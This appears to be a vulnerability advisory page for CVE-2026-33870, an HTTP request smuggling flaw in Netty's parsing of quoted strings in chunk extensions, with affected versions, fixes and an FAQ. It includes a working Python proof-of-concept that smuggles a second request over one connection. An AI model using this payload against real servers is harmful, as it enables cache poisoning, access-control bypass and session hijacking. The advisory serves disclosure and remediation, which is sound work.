CVE-2026-33870: Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing

Published Mar 26, 2026
·
Updated

Summary

Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background

This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:

- <https://w4ke.info/2025/06/18/funky-chunks.html> - <https://w4ke.info/2025/10/29/funky-chunks-2.html>

The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.

Technical Details

RFC 9110 Section 7.1.1 defines chunked transfer encoding:

chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF chunk-ext = ( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] ) chunk-ext-val = token / quoted-string

RFC 9110 Section 5.6.4 defines quoted-string:

quoted-string = DQUOTE ( qdtext / quoted-pair ) DQUOTE

Critically, the allowed character ranges within a quoted-string are:

qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )

CR (%x0D) and LF (%x0A) bytes fall outside all of these ranges and are therefore not permitted inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a 400 Bad Request response (as Squid does, for example).

Vulnerability

Netty terminates chunk header parsing at \r\n inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.

Expected behavior (RFC-compliant): A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.

Actual behavior (Netty):

Chunk: 1;a="value ^^^^^ parsing terminates here at \r\n (INCORRECT) Body: here"... is treated as body or the beginning of a subsequent request

The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.

Proof of Concept

python #!/usr/bin/env python3 import socket

payload = ( b"POST / HTTP/1.1\r\n" b"Host: localhost\r\n" b"Transfer-Encoding: chunked\r\n" b"\r\n" b'1;a="\r\n' b"X\r\n" b"0\r\n" b"\r\n" b"GET /smuggled HTTP/1.1\r\n" b"Host: localhost\r\n" b"Content-Length: 11\r\n" b"\r\n" b'"\r\n' b"Y\r\n" b"0\r\n" b"\r\n" )

sock = socket.socket(socket.AFINET, socket.SOCKSTREAM) sock.settimeout(3) sock.connect(("127.0.0.1", 8080)) sock.sendall(payload)

response = b"" while True: try: chunk = sock.recv(4096) if not chunk: break response += chunk except socket.timeout: break

sock.close() print(f"Responses: {response.count(b'HTTP/')}") print(response.decode(errors="replace"))

Result: The server returns two HTTP responses from a single TCP connection, confirming request smuggling.

Parsing Breakdown

| Parser | Request 1 | Request 2 | |-----------------------|-------------------|------------------------------------| | Netty (vulnerable) | POST / body="X" | GET /smuggled (SMUGGLED) | | RFC-compliant parser | 400 Bad Request | (none — malformed request rejected)|

Impact

- Request Smuggling: An attacker can inject arbitrary HTTP requests into a connection. - Cache Poisoning: Smuggled responses may poison shared caches. - Access Control Bypass: Smuggled requests can circumvent frontend security controls. - Session Hijacking: Smuggled requests may intercept responses intended for other users.

Reproduction

1. Start the minimal proof-of-concept environment using the provided Docker configuration. 2. Execute the proof-of-concept script included in the attached archive.

Suggested Fix

The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:

1. Read chunk-size. 2. If ';' is encountered, begin parsing extensions: a. For each byte before the terminating CRLF: - If CR (%x0D) or LF (%x0A) is encountered outside the final terminating CRLF, reject the request with 400 Bad Request. b. If the extension value begins with DQUOTE, validate that all enclosed bytes conform to the qdtext / quoted-pair grammar. 3. Only treat CRLF as the chunk header terminator when it appears outside any quoted-string context and contains no preceding illegal bytes.

Acknowledgments

Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.

Resources

- RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1) - Funky Chunks Research - Funky Chunks 2 Research

Attachments

!Vulnerability Diagram

javanetty.zip

Other sources

Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.132.Final and 4.2.10.Final, Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks. Versions 4.1.132.Final and 4.2.10.Final fix the issue.

MITRE

Affected Software

5 affected componentsFixes available
maven/io.netty:netty-codec-http>=4.2.0.Alpha1<4.2.10.Final
4.2.10.Final
maven/io.netty:netty-codec-http<4.1.132.Final
4.1.132.Final
Netty Netty<4.1.132
Netty Netty>=4.2.0<4.2.10
IBM Netezza Software<=11.3.0.3-IF2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade maven/io.netty:netty-codec-http to a version that resolves this vulnerability.

    Fixed in 4.2.10.Final
  2. Upgrade

    Upgrade maven/io.netty:netty-codec-http to a version that resolves this vulnerability.

    Fixed in 4.1.132.Final
  3. Upgrade

    Upgrade Netty to a version that resolves this vulnerability.

    Fixed in 4.1.132.Final
  4. Upgrade

    Upgrade Netty to a version that resolves this vulnerability.

    Fixed in 4.2.10.Final
  5. Configuration

    Configure your HTTP front-end/parser to reject any request where CR (%x0D) or LF (%x0A) occurs within chunk extension values (including quoted-string chunk extension values), and respond with "400 Bad Request"; do not terminate parsing early at \r\n inside quoted strings.

    HTTP/1.1 chunked transfer encoding parser (frontend/WAF/reverse proxy) Reject CR (%x0D) or LF (%x0A) bytes inside HTTP/1.1 chunk extension values = 400 Bad Request

Event History

Mar 26, 2026
Advisory Published
via GitHub·06:48 PM
Data Sourced
via GitHub·06:48 PM
DescriptionSeverityWeaknessAffected Software
Mar 27, 2026
CVE Published
via MITRE·07:54 PM
Data Sourced
via MITRE·07:54 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·08:16 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·08:16 PM
Affected Software
Data Sourced
via Red Hat·09:02 PM
DescriptionSeverityAffected Software
Aug 20, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

What is the severity of CVE-2026-33870?

CVE-2026-33870 is classified as a medium severity vulnerability.

2

How do I fix CVE-2026-33870?

To address CVE-2026-33870, upgrade to Netty versions 4.2.10.Final or 4.1.132.Final.

3

What types of attacks does CVE-2026-33870 enable?

CVE-2026-33870 enables HTTP request smuggling attacks due to incorrect parsing of quoted strings.

4

Which software packages are affected by CVE-2026-33870?

CVE-2026-33870 affects the io.netty:netty-codec-http package, specifically versions prior to 4.2.10.Final and below 4.1.132.Final.

5

How does CVE-2026-33870 impact HTTP communication?

CVE-2026-33870 impacts HTTP communication by allowing malicious actors to manipulate request messages due to parsing flaws, potentially leading to security breaches.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203